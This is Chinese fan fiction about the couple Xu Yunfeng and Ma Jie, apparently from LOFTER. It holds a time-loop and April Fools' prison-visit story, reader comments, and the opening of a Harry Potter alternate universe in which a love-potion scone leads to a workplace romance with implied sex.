不管怎么说,这也太超过了吧?徐云峰发什么病呢?
隐藏恋爱关系是他们共同的决定,马杰不想成为茶水间常驻的八卦谈资,徐云峰也不想在公司还被私事影响,因此马杰从来都是在公司前一个红绿灯路口拐角下车,徐云峰开车进地下车库,马杰再走一段路进公司大门。
所以今天早上徐云峰恋恋不舍加有点幽怨地眼神就非常地难以解释。
或者说不管什么情况下,徐云峰能有这样的眼神都非常难以解释。
到底是怎么了……
“回神!”
潘妮拿着文件夹在马杰眼前挥了挥,马杰诶了一声坐直了身。
“大哥,领导,今晚就是年会了你发什么呆呢?”潘妮不满地坐到了旁边,“壮不在,你还发呆,真全让我做决定啊。”
马杰眨了眨眼,总觉得眼前这幕有点熟悉。
“今晚……是年会?”
“嘿,怎么了,昨天熬夜加班熬傻啦?”
“啊……没事,做了个奇怪的梦。”
马杰揉了揉脸,接过文件夹打开,里面的文件也很熟悉,但介于每年年会都差不多马杰也不敢确定。
“……壮还没回来?”马杰试探性问。
潘妮翻了个白眼。
“没有,最忙的几天不见人了,也不知道干什么去。”
马杰抿了抿嘴,站起身。
“咱们去门口等他吧,总不能替领导做决定。”
“标准件厂是被陷害的!”
胡建林一句话让马杰悬着的心终于死了,看上去还在跟着胡建林走实际上已经走了有一会儿了。
不是,这什么情况啊?预知梦?时间回溯?就算自己叫魔法也不该出现这么魔法的事吧?
马杰恍惚地跟着胡建林进了电梯,恍惚地听着和不知道是梦还是现实发生过的一样的对话,恍惚但是仍然按停了电梯。
“……壮,你先回答我一个问题。”马杰抬起头,期盼——不知道是求生还是求死——地看着胡建林,“你知不知道自己是被错调的?”
胡建林在潘妮“我靠”的背景音里顿住了,眼神躲闪,吞吞吐吐地回问:“你,你什么时候知道的?”
马杰深吸一口气,按亮了15楼中层休息区,声音飘忽。
“也别找高层了,咱们直接快进到录视频那一步吧,这样还能多一份证据,潘妮你一会儿去楼里找一找,应该还能碰见庄正直。”
胡建林和潘妮面面相觑,然后同时扭头看向马杰,马杰恍惚地看着电梯上数字的变化,声音依旧飘忽:
“说出来你们可能不信,我好像重开了。”
不管是预知梦还是时空回溯,总之一切都朝着马杰熟悉的地方发展,甚至更好,庄正直很轻易地相信了,视频剪好了,Thomas也没找到江边来,他们顺利地赶上了年会,顺利登台唱歌。
马杰没敢看台下的徐云峰,不管是真是假,这毕竟是他第二次背叛他了。
其实说实话,这些年徐云峰待马杰不错,潜规则时期就从没吝啬过钱,后来潜着潜着就都动了些真心——这也能侧面说明徐云峰即使是潜规则也是个好情人,不然马杰也不至于贱到喜欢上资本家。
正式在一起以后,徐云峰也是个好伴侣,至少给足了马杰安全感,毕竟就算真有人恋老癖发作看上了徐云峰这个天选Daddy,脸臭和资本家就能劝退绝大一部分人。
马杰当初就是这么被劝退的。
马杰和其他人最大的变量大概就是潜规则这一点,他的心动时刻榜前三都是在床上。冷漠不代表养胃,徐云峰每次都是在践行这条真理。因此马杰完全不担心有谁会看上徐云峰,毕竟每天晚上的固定运动就能让马杰知道徐云峰有没有出去偷腥,这就代表徐云峰在外人心中永远都是装逼老板。
马杰很放心。
他们两个之间不说是相敬如宾也是琴瑟和鸣,除去有时候徐云峰太像个老板而马杰太像个下属以外,这是办公室恋情的通病。
总之,无论如何马杰都不太应该,两次都毫不犹疑地背叛了徐云峰。
他不敢看台下的徐云峰,只好专注看手机上的歌词,再来一遍他仍旧记不住,潘妮又要嘲笑他了,但至少可以不看徐云峰了。
再一次,马杰看着会场门前的警车心想,徐云峰就要进去了。他会被人控制住,被人把两个胳膊掰到身后,略有些粗暴地被塞进警车里。
徐云峰确实是被控制住了,两个胳膊被控制在身后,但他没进警车,他扭头跟一旁的警察说了几句话,警察点了点头,他于是环顾四周,最终视线停在了马杰身上。
“马杰。”
马杰愣了愣,还是走了过去。上次徐云峰没叫他,甚至没看他一眼,大概是上次他想说的话在江边都说完了吧,而这次没有江边的对峙,徐云峰或许还以为他和马杰之间只是没说清楚。
从来不是没说清楚,说开了马杰依旧会这么做,马杰早就清楚了,不清楚的只是徐云峰。
为了让徐云峰清楚,马杰选择走过去。
马杰已经准备好听徐云峰说什么了,他不会顾忌身边有没有其他人,也不会质问马杰心里有没有他,他只会用那种我说的就是真理的语气问马杰,你觉得你做的就是正确的吗?这根本改变不了什么,被裁掉的人根本回来不了几个,他们要是回来了没人能解决资金流问题。这个世界就是这么设计的。
马杰都想好怎么回他了,你真觉得自己是在力挽狂澜吗?我是棋子,你也是棋子,没有我还有其他人。我不是胡建林,我知道我解决不了任何事,但我至少能救三百人。
于是马杰走过去了,还是那副窝囊的样子,但不再叫徐云峰徐总了,他只是问:
“还有什么事吗?”
徐云峰皱着眉——皱着眉,但不像他平常皱着眉的样子,看起来有点违和。马杰突然想起来今早徐云峰莫名其妙的温柔,第六感告诉他这不对劲,有什么要脱离他的掌控了。
果然,徐云峰没按马杰推测地说,他说的话更加不顾及他人:
“你失眠多久了?还头痛,怎么没告诉过我?”
“……啊?”
马杰张着嘴,愣了半天才明白过来徐云峰指的是他那句“落个头痛失眠身体一年不如一年”的歌词。
不是?真的指的是这个吗?!
“什……什么失眠?”
“你刚刚在台上不是说自己头痛失眠吗?身体还不好,怎么从来不和我说?”
徐云峰表现的太过理所当然,如果不是一旁警察的表情太过一言难尽马杰几乎都要觉得不正常的是自己。
“不是,我刚刚在台上……啊?我,那我说这句之前放的那个视频——”
“那不重要。”徐云峰打断了他,依旧皱着眉,“是工作太多了吗?压力太大?之前就想给你减少点工作你不愿意,我要是知道你把自己熬出病来我肯定不答应你。”
马杰……马杰已经不知道说什么了,所幸一旁的警察也听不下去这种顶级恋爱脑发言,假咳了一声问徐云峰说完了吗,说完了就走吧。
“最后一句。”徐云峰回答,但眼依旧看着马杰,然后迟疑片刻,再开口语气都带着试探,“马杰,这件事我确实不知情,不是故意瞒着你的,所以……能不能,不分手。”
警察像是被口水呛到了,咳嗽声惊天动地,很好地盖住了马杰失态的一声短促的尖叫。但徐云峰听见了,所以变得更加局促——今天以前马杰从没想过徐云峰能用局促来形容。
“我知道这不太可信,但我……马杰,我有爱你的权利,你——”
“行行行!不分手不分手!”马杰慌乱地打断了徐云峰,以防他再冒出什么惊世骇俗的言论,“我等你回来行了吧?”
徐云峰于是心满意足地进了警车,控制他的警察进车前仔细打量了马杰一番,像是想看看到底是什么样的人才能被人爱到这种地步。等他们都进了警车,眼前没了遮挡,马杰这才发现Thomas就在徐云峰身后,现在正一脸呆滞地看着他,对视上的那一刻才如梦初醒般急急忙忙钻进了警车。马杰顿感不妙,犹豫着转过身,身后所有人——甚至包括董事长在内——都以Thomas同款的呆滞神情看着他,像极了胡建林那次做个锤子的培训会刚和董事长叙旧完的胡建林看到的那副场景,马杰甚至怀疑现在自己说一句“别停啊”他们就能凭空拿出个锤子来磨。
但马杰不是胡建林,他只能尴尬地和所有人对视,直到潘妮站出来,像说梦话一样问:“徐云峰一直都这么恋爱脑吗?”
后一句话潘妮没说,但马杰从她的眼里看出来了:
你怎么做到的?
完了,我的一世英名啊……
马杰腿一软,没明白为什么明明是徐云峰出了问题尴尬的却是自己,但这不妨碍他想转身跳江。
不管到底是怎么回事,让我死。
死是不可能死的,先活着吧,其他的再想办法。
说实话,现在即使是升k10也没法让马杰高兴起来了。先是董事长在第二天把他叫到办公室试探性地询问了他的私人生活,主要论题就是马杰你到底是怎么让徐云峰这么死心塌地的;然后出了办公室就遇到了欲言又止的高铭,张了半天嘴也没说一句话;压死骆驼的最后一根稻草就是论坛里爆火的帖子《不是,哈利波特真有魔法啊?他不是给老鼠下迷情剂了吧?》,爆火到甚至有营销号出来“818zh那个恋爱脑法制咖的真爱”,马杰的脸火出了众和,火到知乎评论区都有人斯哈斯哈什么顶级人夫这就是我老公,当然每一条这种评论下面都会有人回复你睡觉最好两只眼睛轮流站岗恋爱脑马上就要越狱来暗杀你了。
这件事逐渐成为了全网的狂欢,甚至有人开始嗑他们两个的cp,豆瓣老福特围脖凹三到处都有徐马的传说,马杰在同人文里已经生了八百个孩子了,完美解决了生育指标问题。也不是没人写过生怀流这种狗血但好吃的饭,但也没多少,毕竟谁也不觉得这种恋爱脑能让爱人流产。
这是一场全网的狂欢,众和获得了流量,猹们获得了新瓜,同人女得到了新cp,只有马杰输掉了一切。
每一天,在公司里,甚至在路上,总有人对马杰行注目礼,低声谈论。马杰甚至怀疑这是不是徐云峰故意的,这是报复吧?这是自己把他举报之后的报复吧?
简直其心可诛。
这场狂欢在徐云峰被调查完之后毫无影响地回归后达到了新的顶峰,网上铺天盖地都是熏风你好爱你甚至顾及到了麻结山东人的身份怕你们孩子没法考公,丝毫不在意马杰实际上根本生不了孩子这件事。
还是那句话,这是全网的狂欢,尴尬的只有马杰。
徐云峰是中午出的看守所,出来第一件事就是回到众和找马杰,就在食堂,在众目睽睽之下。他出现的那一刻就吸引了所有人的目光,甚至打饭阿姨都停下了手上的动作,排队的人也不催,因为他们也在看。
随着徐云峰一步步朝马杰靠近,食堂里越来越安静,几乎是屏住呼吸听他们之间会说什么。马杰吓傻了,震惊之下话没过脑子就脱口而出:
“你越狱了?!”
徐云峰坐到了马杰对面,听见这话先是一愣,然后莫名高兴起来。
“偷换零件Thomas自己的主意,我不知情。”
徐云峰解释,马杰这才想起来年会那天徐云峰也说过他不知情。
“马杰,当时你答应等我的时候是以为我要进监狱了吗?意思是,即使我进监狱了,你也愿意等我?”
不知道是谁倒吸了一口凉气,有人不小心弄撒了自己的饭,还有人卧槽了半句又收了回去。
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而众目睽睽之下的马杰尴尬地用脚扣出了徐云峰市内名下所有的别墅,用徐云峰的脸说这种话对马杰来说还是太超过了,马杰现在怀疑他是穿越到了一个徐云峰是恋爱脑的世界,而这位恋爱脑徐云峰未免也太会抓重点了些。
但这时候不说些什么也太尴尬了点,社畜的本能让马杰不敢让领导的话掉地上,所以他点了点头,顺势避开了徐云峰的视线。
那种眼神也太吓人了,天杀的我的高冷阴暗上司男朋友呢?这个恋爱脑是谁啊?
“我刚回来,还要去上面找一趟董事长,你先吃,一会儿我再来找你。”
马杰时常痛恨自己社畜的本能,因为现在他想的是求求你你千万别来找我了,而他说的是:
“刚回来,那你吃饭了吗?”
不用抬头马杰都知道徐云峰现在有多高兴,就像他不用抬头都知道食堂里其他人的眼神,不用想都能知道这就话传入论坛以及其他各大网站的速度。
毁灭吧,我想死,真的。
世界不会因为一个人的怨念就毁灭,不然这个世界早就毁灭了。
所以徐云峰还是回到了众和,官复原职,一点没变。
不,也不算一点没变,至少现在所有人都知道马杰和徐云峰是一对了。
Peter没被影响,现在是马杰的同级,在徐云峰出现在食堂之后就跑进了马杰办公室,第一我很忠心第二我很勇敢第三我跟乐观,从此以后你管我叫哥我管你叫老板娘咱俩各论各的,你头痛失眠这事我是真的不知情,莺莺燕燕是我不对,求求徐总千万不要优化我,集团给我一个机会我还集团一个奇迹,从今往后一定好好伺候着让领导开心。
马杰越听越熟悉,Peter哥你这全说的我的词啊!报告要我帮你写连表忠心都要我给你示范啊?!
但没关系,惹到我你算是踢到棉花啦,就算你屁事不干只会甩锅我也不会对你做什么的,因为我现在都不敢跟徐云峰见面。
不敢归不敢,下班了还是要回家的,家里录着徐云峰的指纹,马杰图省事没删。根本没有真正的省事,命运早把一切都标好了加码,如果再给马杰一个机会他肯定年会当天就删指纹。
事实上,上天确实再给了马杰一次机会,但他毫不犹豫地做了同样的事。
意识到这一点,马杰看对面沙发上的徐云峰都多了些愧疚,他穿的还是年会上那一套衣服,不知道是不是恋爱脑的缘故至少徐云峰确实没参与,那他年会上那一出甚至不能算大义灭亲。
徐云峰和马杰对视上就坐直了身子,张开嘴那一刻马杰就知道不妙,果不其然徐云峰依旧语出惊人:
“当时赶时间没追着问,马杰,你是什么时候开始失眠的?怎么从来没跟我说过?”
马杰讪讪地笑了笑,心说这你要问你这个世界原来的马杰啊,失眠的是我我哪知道这里的马杰失不失眠,我那个世界的徐云峰可不会管我失眠不失眠,顶多关心两句敲打敲打Thomas,更何况当时他还忙着广进计划呢,哪有时间管我失眠不失眠。
“没……歌词是潘妮写的,我只是照着念,你看我甚至没记住词。”
解释不清,干脆就不解释了,马杰平常是怎么糊弄领导的现在就怎么糊弄徐云峰,而恋爱脑徐云峰比领导还好糊弄,闻言放心地点了点头,但还是说:
“你要是有什么事一定要和我说,我会担心你的,好吗?”
马杰快速点了点头。
好好好行行行活爹你闭嘴吧。
这一篇也就算是揭过去了,让马杰良心不安的背叛没激起一点水花。恋爱脑徐云峰很好,好到马杰都要说一句模范男朋友,比他的徐云峰好了不知道多少倍。
但马杰一向是个不知好歹的人,他会拒绝潜规则时期徐云峰的升职加薪,会要求徐云峰对他们的恋爱关系保密,会登台唱歌背叛徐云峰,还是两次。
因此,他不知好歹到想念他的徐云峰也不难理解。
打工人爱上资本家就是贱,潘妮说话向来一针见血,马杰多多少少有些受虐倾向,拧巴又固执,不肯变通,不愿改变。恋爱脑徐云峰再好也不是马杰喜欢的那个人,他还是喜欢情到深处的吻,喜欢别扭地说爱,喜欢意气风发自信张扬,他有自己的抱负而不是一切围着自己打转。
当徐云峰失去了他的理想,那也就失去了他的灵魂。
爱情让人盲目,马杰是个盲目的人,他是个傻子,他没办法强迫自己喜欢上这个恋爱脑徐云峰。
他想他的徐云峰了。
于是马杰醒了过来,他躺在他自己家里,手机里的日历上写着四月一号。
日有所思夜有所梦,梦是现实的延续,所以在愚人节这天马杰自己给自己开了个玩笑。
确实有够玩笑的,现在想想梦里那个徐云峰马杰都鸡皮疙瘩起一身。
今年的愚人节是周一,按常理来说马杰应该去上班,半死不活地咒骂,怨气冲天地开工,但或许是因为做了个梦,而他恰巧在梦里思念起了徐云峰,马杰做了个大胆的决定——他在自己后悔前去OA上请了假,请假理由就是探监,然后开车去了城市边缘。
从递交申请到见到徐云峰中间时间很短,甚至比马杰请假被批准的效率都高。
于是马杰见到了徐云峰。
说实话,徐云峰现在看起来不那么体面,精致的时常被打理的头发现在成了寸头,多少有点减颜值。
马杰这时候才发现恋爱脑的原来是自己,因为即使是现在他依然想念他,他从未这么想过一个人。
他们隔着电话沉默,最终马杰先开口:
“我做了个梦,梦见标准件厂的事你没参与,年会的时候你还问我是什么时候失眠的,怎么从来没告诉过你。”
玻璃对面的徐云峰愣了一下,有些惊疑——但依旧淡淡的,马杰真想笑出声,这气质说蹲大牢的是他对面的马杰都有可能——地盯着马杰,迟疑片刻才开口:
“……你来这儿就是为了告诉我这个?马杰,这一切已经发生了。”
“是啊,已经发生了……但我依旧爱你。”
马杰笑了,是好久没有的发自内心的微笑,笑得马杰如沐春风,笑得徐云峰皱着眉头小惊失色。
“你……”
“徐云峰,我爱你,我会等着你出来的。”
“马杰——”
“徐云峰,愚人节快乐。”
徐云峰好不容易起了波澜的脸凝固了,马杰笑容更大了,心情愉悦地就要挂电话,说完再见之后被终于反应过来的徐云峰叫住了。
“马杰,”徐云峰声音抬高,从听筒传出刚好能被把手放下一半的马杰听到,“我也做了个梦。”
马杰隔着玻璃看着徐云峰,笑容收回了点,慢慢地又把听筒放到了耳朵旁边。
“我梦见年会那天晚上在江边你把电脑给了我。”
“……然后呢?”
“然后我醒来依然爱你。”
马杰的笑容彻底变得尴尬了。这是马杰第一次听到徐云峰说爱,甚至梦里的恋爱脑徐云峰都没对马杰说过爱,真正意义上的做梦都不敢想。
最终,马杰叹了口气,试探性问:
“……愚人节快乐?”
“愚人节快乐,马杰。”
徐云峰笑了,马杰松了口气,笑容更真诚了几分。
有些话,不该愚人节说,但又只能愚人节说。
马杰突然开始期待下一次愚人节探监了。
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# 徐马# 徐马爱人者愚24H# 年会不能停
热度 447评论 46
热门评论
金闪闪
判了几年啊他怎么还有下一个愚人节
55
阿白
小狗belike:这也太犯规了吧…(捂脸
啊啊啊说实话自己真的有脑嗨过这段?,已经被徐马甜甜的爱惯成恋爱脑了?
23
阿白
哈哈哈哈男友吐槽最为致命?
10. 这是迷情剂?!
甠柃
From LOFTER
【徐马/hpau】这是迷情剂?!
都叫Magic了,怎么能不会magic呢
一款非典型hpau
全文3.7w+
00
马杰,Magic,众和无数螺丝钉中极为普通的一颗。
除了必须要交流的上级下属以外,没人对他有印象,而那些认识他的人对他也很难说有多少印象,其中最深刻的就是卷王和狗腿子。
说实话,这人确实太普通了,普通到放在人群中没有一丝一毫的亮眼之处。大厦中的一块砖,机械中的一颗螺丝,泯然于众人,如果非要说好听点的话。
难听点说,鸡肋,食之无味,弃之可惜。
总之,除了人格测试结果被人调侃为魔法老头以外,无论如何都和Magic这个充满魔力的名字毫不搭边。
01
当Vivian问这个不太常见的名字的由来时,马杰当时脸上是让人挑不出错的带点羞赧的客套的笑:
“本来打算叫Jack来着,但配上马这个姓怎么想怎么僭越,幸好当时灵光乍现,才有了这个名字。”
回答确实让人挑不出错,但同样挑不出好,就如同马杰这个人,所以同事变成了前同事——Vivian带着全组除他以外所有人跳槽了,提都没和马杰提。
这至少说明我挺忠心?马杰苦中作乐,敲下一个回车,习惯性点了几下保存,肚子再次叫了起来。
看了看电脑上的时间,也已经十点多了,马杰揉了揉有些发红的眼,决定先吃点东西再继续赶报告。
其他人都走了,意味着整个组的工作都将由独苗苗马杰来完成,可喜可贺可喜可贺。
……个球。
马杰拿出之前朋友寄来的司康饼,已经开始想念自己温暖的小床,布料温暖的气味仿佛就萦绕在他的周围……
他熬夜熬疯了,他知道。
好想睡死过去。
空虚的胃再次发出抗议,因为赶报告错过晚饭的马杰现在觉得就是自己平常吃不惯的英国甜点都算美味佳肴。
这东西这时候吃正好。
马杰拿起一块,正要张嘴,休息间的门猛然打开,他条件反射地又放下了手。
马杰第一反应,有种摸鱼被发现的尴尬。
第二反应,得了吧现在哪儿还有领导在公司。
第三反应,我靠Jeffrey总!
马杰有些呆滞地看着开门的人,熬夜的大脑有些恍惚。
他好像看到自己上司的上司的上司的上司进了底层员工休息室。
徐云峰看起来有点尴尬,像是没想到现在这里还有人,不自在地咳嗽了一声。
马杰蹭地站了起来。
“Jeffrey总好!”
徐云峰矜持地点了点头。
马杰迟钝的脑子被这一吓吓清醒了些许,他连忙凑到徐云峰旁边。
“Jeffrey总您怎么这么晚还在公司?身体是革命的本钱,您休息好了才能带领我们继续讲公司做大做强啊。”
事实上,马杰没清醒多少。
他慢半拍地意识到,这话表面上是在夸徐云峰敬业,可同样没走的自己呢?这不是明晃晃的邀功吗!
完蛋,说错话了,要死要死要死要死要死要死要死要死要死要死要死要死要死。
他抬眼暗戳戳打量徐云峰的脸色,发现他好像并没在意,这才悄悄松了口气,然后顺着徐云峰的视线看去。
“司康饼?倒是有阵子没见过了。”
“啊,这是我一个朋友做的,他最近对西方甜点很感兴趣。”
徐云峰舔了一下嘴唇。
懂了,领导工作这么久也饿了。
“那个,Jeffrey总您要是不嫌弃,也尝尝我朋友的手艺?”
徐云峰扫了马杰一眼,冰冷的眼神中带了点赏识。
马杰立马请徐云峰坐下,狗腿子地把点心摆到了他面前。
徐云峰拿起一块凑到嘴边突然顿住,微皱着眉闻了闻,还是张嘴吃了下去。
马杰再次慢半拍地意识到,他还没来得及尝尝司康饼的味道,万一Will那家伙手艺糟糕透了……
马杰不动声色地深吸了一口气。
气味倒是和普通司康饼差不多,其中夹杂着淡淡的布料味,像是自己出租屋里的小床……
马杰顿了一下,再次深吸一口气。
不是幻觉,就是他温暖的床的味道。
什么情况?他可不记得这盒点心进过自己的被子?
他向下瞥了一眼,那盒司康饼已经被吃了一半,徐云峰手上那个也被咬了一口。徐云峰慢条斯理地嚼着,像是感觉到马杰的视线,抬眼看了他一眼,嘴角勾起一抹笑。
马杰脑子嗡地一声宕机了,不会吧不会吧和要完了要完了在脑子里交替刷屏,侥幸心理催促他艰难开口:
“您感觉……味道如何?”
“不错。”
毫无起伏的声音和有些热烈的眼神形成了极大的反差,马杰不知道该相信哪个,他宁愿自己猜错了。
纠结中,徐云峰已经把那盒司康都吃完了。他抽出一张纸擦着嘴,眼睛看向马杰胸前的工牌。
“Magic。”
“在!”
马杰条件反射地接了一声,然后悄悄看向徐云峰,没防备和那双眼对视了。
他悲哀地发现,那双眼里笑意更浓了。
“名字不错。”
很少,不,从来没人这么缠绵又意味深长地夸过这个名字。而说话的人却丝毫没在意被夸的人内心的混乱,像一阵风轻飘飘地走了。
马杰呆呆地站在休息间,一分钟后猛的冲出公司,飞快地打车回家,然后冲向卧室打开了床头柜上的锁,拿出里面的一个镜子急切地敲了三下。
镜子里马杰的脸逐渐扭曲,变成了另一张典型的白人脸。
“Jack?What''s wrong?”
(Jack?怎么了?)
“Tell me, the scones you gave me didn''t contain anything like aphrodisiacs.”
(告诉我,你送给我的司康饼里没加任何类似于迷情剂之类的东西。)
马杰的声音带着很明显的急切,但镜子对面的人却一点都没在意,而是笑着打破了马杰最后一丝幻想:
“Oh, you already noticed? I guess you will definitely notice it before eating, haha! I still remember when you said in the potion class that the aphrodisiac was hot pot flavored……”
(哦,你已经发现了?我猜你在吃之前就一定会发现的哈哈!我还记得当时魔药课上你说迷情剂是火锅味……)
马杰没再听他说下去,他倒在床上,觉得死在这里一定是最幸福的选择了。
“……Hey Jack? Are you still there?”
(……嘿Jack?你还在吗?)
“William Hark, when I be a ghost, I will be the first to find you.”
(William Hark,等我变成幽灵,我第一个就会去找你。)
“Wait!Jack……cobber!”
(等等!Jack……哥们儿!)
02
是的,事实上,马杰和Magic这个名字还有一个比谐音和人格测试更紧密的关系——马杰会魔法。
是的,他是个巫师。
是的,就是哈利波特那种巫师,他还在霍格沃兹上过学呢。
虽然屁用没有,简历里都不能写,只能在名字上耍耍小心机。
而且他宁愿他人格测试是天选社畜。
更早之前就有迹象,但转折还是来自五年级升六年级的那个暑假,那封只要看过哈利波特就不会不知道的信。
马杰当时以为是爸妈在耍他。
然后他很快发现爸妈同样以为自己在耍他们。
解开误会的时候他们面面相觑,觉得大概是什么人在耍他们一家。试探性地把那封信扔进了垃圾桶,第二天他们抓住了一只猫头鹰。
以及一个穿着巫师袍的英国人。
那天他们花了半天的时间(他们甚至语言不通!)捋了捋马杰的家谱,最终发现他的曾曾曾曾曾曾曾曾祖母是个归国的华裔,同时,是个巫师,而霍格沃兹会记住每个学生的巫师后代,并将他们记在名单里。
好消息,这些年家里根本没闹鬼。
坏消息,他就是那个鬼:)
出于对马杰身体健康的考虑,父母终究还是在那个慌乱的暑假里给他办了转学——甚至没人来追究马杰的义务教育——并在以后的七年中声称马杰去了一个管理严格的寄宿学校,拥有附属小学初中的高中。
马杰七年霍格沃兹生活中印象最深的是什么?
一年级的语言不通。
抛去刚入学时候的困难外,他的学校生活实在乏善可陈,大战过去四年,战后重建以及一系列善后都已经完成,学校格局进行了调整,教授班子相较原著变了一大半。马杰不是救世主,他没有一年一度的大危机,按部就班地在赫奇帕奇学完了七年的课程,以中等偏上的成绩顺利毕业。
然后毕业即失业。
受损的巫师社会在这四加七年里飞速重建,安定,然后达到饱和。马杰不够优秀到进入魔法部拥有铁饭碗,不够灵活到在对角巷创业开店,甚至去应聘员工时都抢不过同样条件的本地同学——零九年,马杰没赶上zzzq的好时候。
称得上幸运的事,马杰的母亲始终觉得霍格沃兹中学的顶多算是旁门左道,坚持不懈地给马杰寄每年每学期的教材,即使这给马杰本就艰难的学业雪上加霜,但也给他留了另一条路。
经过半年的求职,马杰回国了,在复习班里死命学了一年半,最终以社会考生的身份擦边考上了本地一所末流211的英语专业。
他的生活又回到了正轨,像个普通人一样上大学,毕业,进入大厂开始打拼。
到现在,马杰32岁,职位保持在k8,有希望在不久后彻底失业。
“I f**king hate my job like oh my god it f** king sucks
Why can''t I be f**king lazy and make a billion bucks……”
当闹铃响起的那一刻,马杰从未如此想死在现在,然后下一秒还是起身收拾,在上班前一分钟卡点打卡。
坐在工位上,马杰自我安慰地想,没事的,等解药送过来他就马上给徐云峰灌下去,再加一个一忘皆空,一切都会回归平常。
03
事实证明,当梅林想和你开玩笑的时候,一切都不可预测。
就在马杰打开文档打算继续赶报告的下一秒,Peter急匆匆地走到他工位前把他叫到了办公室。
再出来,马杰呆滞地拿着崭新的写着k9的工牌,满座皆惊。
他如同行尸走肉般走向自己的工位,耳边还回响着Peter有些谄媚的打趣:
“Magic你小子,行啊!怎么不声不响地就搭上了Jeffrey这条线,连兄弟我都不告诉?”
他面无表情地坐回了工位,耳边同事的奉承显得模糊不清,面前报告上的字一个接一个地蹦了出来,扭曲着身子环在马杰眼前,最终变成了一连串的“死”。
马杰“咚”的一声磕在桌面上,终于还是死了过去。
04
Q:猫头鹰飞行速度
A:猫头鹰的飞行速度应该是四十五千米每小时
Q:伦敦到北京的直线距离
A:北京-伦敦直线距离5053英里(8130公里),这是直线飞行距离。
8130÷45÷24=7.527777777……
好极了,一周后解药就到了,只需要撑住这一周马杰,加油,你可以的!
现在他只需要……
马杰低头看了看怀里的文件,又抬头看了看面前的门,最终颤抖着敲了敲门。
“进。”
得到允许后马杰先做了个深呼吸,然后推门进去。
“Jeffrey总,这里有份文件需要您审批。”
“嗯,放下吧。”
徐云峰头都没抬。
马杰强忍住出去的冲动,站在原地没动。
徐云峰看完了面前的文件,签好名字,这才抬头看了马杰一眼。
马杰心如死灰地看着徐云峰眼中的冰冷变得热切。
“是你啊。”徐云峰盖上笔盖把笔放下,抬手指了指一边的椅子,“坐。”
“不不不不用了!”马杰慌乱地摇了摇头,然后深深鞠了一躬,“Jeffrey总,我这次来是专程来向您道谢的,我听Peter总说是您特地点了我升k9,我感到不胜荣幸。请您放心,我日后肯定更加兢兢业业,再接再厉,不负领导对我的栽培……”
“行了。”徐云峰皱着眉打断了马杰的空话,有些不悦地看了他一眼,“知道我为什么把你升上来吗?”
“领导做事自然有您的道理。”
马杰诚恳地看着徐云峰,徐云峰抿了抿嘴唇,看起来想骂又不知道怎么说。
“……下午五点过来,送我回家。”
谈话以这句算是暗示的话结束,马杰不知道该高兴还是绝望。
实话说,如果没有这一出,徐云峰那个地位的领导想要潜规则自己,马杰说不定会自己洗干净脱光躺床上,不求升职加薪,只望能把人伺候好。
前提是没有这一出。
现在,马杰只求徐云峰喝下解药之后把这一周发生的事当成一时兴起,把自己当个屁放了最好。
05
马杰的新办公位已经麻溜地被收就在Peter旁边,隔着一堵墙。
体验蛮新奇的,马杰有生以来头一次拥有独属于自己的独立办公室,他几乎是抱着稀有环境的七天体验期的心态在使用这间办公室,给自己定好一个四点五十的闹钟后以平常百倍的热情投入到了工作之中。
万一呢,万一Jeffrey恢复过来之后觉得自己干的也不错大发慈悲的不管自己了呢。
报告交上去又被返回来,接下来只要再修改润色一下……
“I f**king hate my job like oh my god it f** king sucks……”
铃声响起,马杰迅速关掉了闹钟没让铃声再响下去。
……这个闹铃确实该换了哈。
马杰看了看还差最后一点的报告,还是保存后存在了u盘里,顺手拿上了笔记本电脑。
才五点,就算Jeffrey真要潜规则,那也有时间明天前赶完。
五点整,徐云峰打开门,马杰就低眉顺目地站在一边,听见开门声快步凑了过来。
“Jeffrey总。”
徐云峰一手拿出车钥匙,马杰两只手恭恭敬敬地接了过来,然后跟着大步流星的徐云峰走出公司门。他看着前面人低气压的背影暗道不好,看起来领导今天心情不顺,一会儿还是得更谨慎点。
领导后座我开车,领导开车我副驾。但谁能告诉他领导自顾自坐副驾驶上了他要怎么办啊!
“还愣着干什么?”
徐云峰眉头皱的更深了,马杰没敢再犹豫,小跑着进了驾驶座,拧开了车,然后又顿住了。
“Jeffrey总,您要去哪儿?”
马杰小心翼翼地看着徐云峰问。徐云峰不悦地暼着他,几秒中马杰已经考虑了自己的身后事并悲哀地发现自己甚至买不起一块墓地。
“你就这么怕我?”
“不不不怎么会呢您那么平易近人和蔼可亲能力出众是我学习的榜样工作的标兵您是我敬佩的对象是我前进的路标……”
“停。”
徐云峰掐了掐眉头打断了他,有些烦躁地说出一个地址,然后扭头看向窗外没再说话。马杰沉默地倒车出车位,在不经思考脱口而出那一系列蠢话之后再次意识到身旁这位现在对自己的心思,内心发出尖锐爆鸣声。
车里两人各怀心思,一路沉默着到了目的地。马杰迅速下车小跑着去给徐云峰开门,然后被一把握住了手腕。
“上去坐坐。”
马杰的拒绝在徐云峰阴沉的目光下咽了回去,抱着电脑跟徐云峰进了屋。
事已至此,几乎算是木已成舟。马杰拘谨地坐在沙发上,看着对面沉默地晃着酒杯的徐云峰,咽了口唾沫,心一横,起身压了过去。
“Jeffrey总,我要是脑子笨理解错了,您见谅。”
徐云峰的嘴唇很薄,还有点干。
马杰蜻蜓点水般碰了几秒就要起身,下一秒就被人按住了头,威士忌辛辣的口感顺着舌头传入脑中,对方沉重的呼吸打在他脸上,让他有些缺氧。他有些呆愣愣地看着徐云峰急切的眼,然后就被狠狠咬了一口。
“闭眼。”
06
等他们各自收拾好这一片狼藉,也已经八点多了。徐云峰从洗澡间出来,马杰正认认真真地坐在沙发上码字,那身普通的社畜气息很完美地降低了大开领浴袍下露出的红印带来的旖旎。
这让马杰主动带给徐云峰的好心情消散不少。
“你们部是没人了吗?”
马杰愣愣地抬头,有些尴尬地笑了笑:
“那个……我们组其他人都跳槽了……”
徐云峰神色复杂地看着他,马杰从中体会到诸如喜爱惊喜打量厌蠢等多种情绪。当然,也可能马杰只是想多了,这就是单纯看傻子的眼神。
“可能确实还没什么概念,但你还记得你已经是k9了吗?”
“领导您教训的是。我就是觉得这个报告一直都是我们……我之前的组在跟进,最后收尾工作就没必要让别人接手了,我来做比较方便。啊当然,您的指导我铭记于心,以后对待下属……”
马杰没能再说下去,徐云峰上前封住了他的嘴。
暧昧的气息在他们之间蔓延,徐云峰声音沙哑:
“就那么喜欢加班?”
“加班是一种彰显工作态度的方式……”马杰顶着徐云峰逐渐阴沉的脸色背诵人生格言的声音越来越轻,“……主要是九点以后打车费报销。”
